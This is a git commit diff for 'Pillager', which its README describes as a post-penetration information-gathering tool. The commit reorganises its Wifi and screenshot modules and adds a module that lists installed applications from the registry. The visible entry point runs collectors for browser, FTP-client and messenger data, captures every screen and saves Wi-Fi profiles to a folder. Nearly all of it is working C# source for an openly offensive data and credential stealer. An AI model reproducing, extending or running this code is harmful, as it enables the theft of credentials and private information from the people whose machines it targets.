This commit is contained in:
簞純 2024-02-12 12:29:40 +08:00
parent ec6e84d537
commit 136ca40c63
7 changed files with 65 additions and 15 deletions

View File

@ -78,8 +78,9 @@
<Compile Include="Messengers\QQ.cs" />
<Compile Include="Messengers\Skype.cs" />
<Compile Include="Messengers\Telegram.cs" />
<Compile Include="Others\ScreenShot.cs" />
<Compile Include="Others\Wifi.cs" />
<Compile Include="SystemInfos\InstalledApp.cs" />
<Compile Include="SystemInfos\ScreenShot.cs" />
<Compile Include="SystemInfos\Wifi.cs" />
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Helper\SQLiteHandler.cs" />

View File

@ -6,8 +6,8 @@ using Pillager.FTPs;
using Pillager.Helper;
using Pillager.Mails;
using Pillager.Messengers;
using Pillager.Others;
using Pillager.Softwares;
using Pillager.SystemInfos;
using Pillager.Tools;
namespace Pillager
@ -59,10 +59,6 @@ namespace Pillager
Chrome.Save(savepath);
FireFox.Save(savepath);
//Others
Wifi.Save(savepath);
ScreenShot.Save(savepath);
//FTP
WinSCP.Save(savepath);
FileZilla.Save(savepath);
@ -98,6 +94,11 @@ namespace Pillager
DingTalk.Save(savepath);
Line.Save(savepath);
Discord.Save(savepath);
//SystemInfos
Wifi.Save(savepath);
ScreenShot.Save(savepath);
InstalledApp.Save(savepath);
}
}
}

View File

@ -0,0 +1,46 @@
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
namespace Pillager.SystemInfos
{
internal class InstalledApp
{
public static string SystemInfoName = "InstalledApp";
public static string GetInfo()
{
StringBuilder sb = new StringBuilder();
try
{
using (RegistryKey key = Registry.LocalMachine.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Uninstall"))
foreach (var subkey in key.GetSubKeyNames())
{
string value = key.OpenSubKey(subkey)?.GetValue("DisplayName", "Error").ToString();
if (!string.IsNullOrEmpty(value) && value != "Error" && !value.Contains("Windows"))
sb.AppendLine(value);
}
}
catch
{ }
return sb.ToString();
}
public static void Save(string path)
{
try
{
string savepath = Path.Combine(path, SystemInfoName);
string result = GetInfo();
if (!string.IsNullOrEmpty(result))
{
Directory.CreateDirectory(savepath);
File.WriteAllText(Path.Combine(savepath, SystemInfoName + ".txt"), result);
}
}
catch { }
}
}
}

View File

@ -4,17 +4,17 @@ using System.IO;
using System.Windows.Forms;
using Pillager.Helper;
namespace Pillager.Others
namespace Pillager.SystemInfos
{
internal class ScreenShot
{
public static string OtherName = "ScreenShot";
public static string SystemInfoName = "ScreenShot";
public static void Save(string path)
{
try
{
string savepath = Path.Combine(path, OtherName);
string savepath = Path.Combine(path, SystemInfoName);
try
{
Native.SetProcessDPIAware();
@ -32,7 +32,7 @@ namespace Pillager.Others
{
graphics.CopyFromScreen(screen.Bounds.Left, screen.Bounds.Top, 0, 0, new Size(bitmap.Width, bitmap.Height), CopyPixelOperation.SourceCopy);
}
bitmap.Save(Path.Combine(savepath, OtherName + i + ".jpg"), ImageFormat.Jpeg);
bitmap.Save(Path.Combine(savepath, SystemInfoName + i + ".jpg"), ImageFormat.Jpeg);
}
}
}

View File

@ -4,11 +4,11 @@ using System.Text;
using System.Xml;
using Pillager.Helper;
namespace Pillager.Others
namespace Pillager.SystemInfos
{
internal class Wifi
{
public static string OtherName = "Wifi";
public static string SystemInfoName = "Wifi";
private static string GetMessage()
{
const int dwClientVersion = 2;
@ -72,12 +72,12 @@ namespace Pillager.Others
{
try
{
string savepath = Path.Combine(path, OtherName);
string savepath = Path.Combine(path, SystemInfoName);
string wifi = GetMessage();
if (!string.IsNullOrEmpty(wifi))
{
Directory.CreateDirectory(savepath);
File.WriteAllText(Path.Combine(savepath, OtherName + ".txt"), wifi);
File.WriteAllText(Path.Combine(savepath, SystemInfoName + ".txt"), wifi);
}
}
catch { }

View File

@ -85,6 +85,7 @@ Will add more ......
* Wifi
* ScreenShot
* InstalledApp
## Usage

View File

@ -83,6 +83,7 @@ Pillager是一个适用于后渗透期间的信息收集工具可以收集目
* Wifi
* 截屏
* 已安装应用
## 使用方法